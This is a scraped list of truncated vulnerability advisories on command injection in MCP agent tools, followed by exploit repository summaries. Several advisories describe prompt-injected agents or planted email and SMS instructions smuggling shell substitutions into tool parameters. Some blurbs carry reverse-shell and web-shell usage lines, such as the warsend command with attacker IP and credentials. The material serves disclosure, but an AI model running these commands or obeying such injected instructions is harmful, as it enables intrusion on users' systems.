CVE-2026-117573 hagent through commit 761eec6 OS Command Injection via Arduino and ESP32 MCP Tools

hagent through commit 761eec6 contains an OS command injection vulnerability that allows MCP clients to execute shell commands by injecting metacharacters into the args parameter of the hagentarduino and hagentesp32 tools. Attackers or prompt-injected agents can supply crafted args interpolated...

EUVD-2026-110849

hagent through commit 761eec6 contains an OS command injection vulnerability that allows MCP clients to execute shell commands by injecting metacharacters into the args parameter of the hagentarduino and hagentesp32 tools. Attackers or prompt-injected agents can supply crafted args interpolated...

CVE-2026-117569

The Kali-GPT tool (specifically through commit a608c74 ) is vulnerable to an OS command injection in the execute_tool() function within kali_gpt/tools/mcp_server.py. The flaw allows MCP clients or prompt-injected agents to execute arbitrary commands by embedding shell metacharacters into unsaniti...

CVE-2026-117569 Kali-GPT through commit a608c74 OS Command Injection via MCP Scanner Tool Parameters

Kali-GPT through commit a608c74 contains an OS command injection vulnerability in executetool in kaligpt/tools/mcpserver.py that allows MCP clients to run commands via unsanitized scanner parameters. Attackers or prompt-injected agents can embed shell metacharacters in parameters like target,...

EUVD-2026-110847

Kali-GPT through commit a608c74 contains an OS command injection vulnerability in executetool in kaligpt/tools/mcpserver.py that allows MCP clients to run commands via unsanitized scanner parameters. Attackers or prompt-injected agents can embed shell metacharacters in parameters like target,...

CVE-2026-117560 ATXP Gemini CLI Extension through 1.0.0 OS Command Injection via MCP Tools

ATXP Gemini CLI extension through 1.0.0 contains an OS command injection vulnerability in runAtxp that allows attackers to execute shell commands through unsanitized MCP tool parameters. Attackers can plant instructions in email or SMS content to inject $ or backtick substitutions into parameters...

EUVD-2026-110838

ATXP Gemini CLI extension through 1.0.0 contains an OS command injection vulnerability in runAtxp that allows attackers to execute shell commands through unsanitized MCP tool parameters. Attackers can plant instructions in email or SMS content to inject $ or backtick substitutions into parameters...

CVE-2026-117560

The ATXP Gemini CLI extension (through version 1.0.0 ) contains an OS command injection vulnerability within the runAtxp() function. The root cause is the processing of unsanitized MCP tool parameters , which allows an attacker to execute shell commands as the user. Specifically, attackers can pl...

CVE-2026-117559

DroidMind versions through 0.4.0 are susceptible to a command injection vulnerability due to a shell command allowlist bypass. The flaw allows MCP clients to execute unauthorized commands, such as rebooting connected Android devices, by using $(...) or backtick substitution in parameters interpol...

CVE-2026-117559 DroidMind through 0.4.0 Command Injection via Shell Allowlist Bypass

DroidMind through 0.4.0 contains a command injection vulnerability that allows MCP clients to bypass the shell command allowlist by using $... or backtick substitution. Attackers, including prompt-injected agents, can inject commands through parameters interpolated into Device.runshell or...

EUVD-2026-110837

DroidMind through 0.4.0 contains a command injection vulnerability that allows MCP clients to bypass the shell command allowlist by using $... or backtick substitution. Attackers, including prompt-injected agents, can inject commands through parameters interpolated into Device.runshell or...

CVE-2017-8869

CVE-2017-8869 - MediaCoder 0.8.48.5888 - Local Buffer Overflow SEH Exploit rewritten with reverse shell option...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit A modular post-auth RCE exploit targeting ScadaBR 1.1.0, enhanced for red team ops. Features Uploads weaponized .jsp shell via viewedit.shtm Supports Linux & Windows payloads SOCKS5 / HTTP proxy support Reverse shell trigger...

CVE-2021-3156

CVE-2021-3156 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on Ubuntu 20.04 against sudo 1.8.31 All research credit: Qualys Research Team Check out the details on their blog. You can check your version of sudo is vulnerable with: $ sudoedit -s Y. If it asks f...

CVE-2025-64155-hunter

CVE-2025-64155 Scanner A Python scanner for detecting the command injection vulnerability CVE-2025-64155 in Phoenix Monitor service. Description CVE-2025-64155 is a command injection vulnerability in Phoenix Monitor service that allows remote code execution through the clusterurl parameter in the...

watcher

Anti Reverse Shell Hello my name is themoon also known shalev, i created this project to help people who run servers with lower security. You can use this project to protect your computer from attackers who may try to reverse shell your computer Informations on this project You can view how this...

CVE-2016-3088

Apache ActiveMQ PUT RCE One-Click GetShell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |//...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 Authenticated Command Injection Reverse Shell https://nvd.nist.gov/vuln/detail/CVE-2018-9276 Improved version of an exploit written by https://github.com/M4LV0. I used the POST data from their script but just made it more reliable as I didnt have much success with it...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POC exploit Usage usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST, --localhost LOCALHOST I...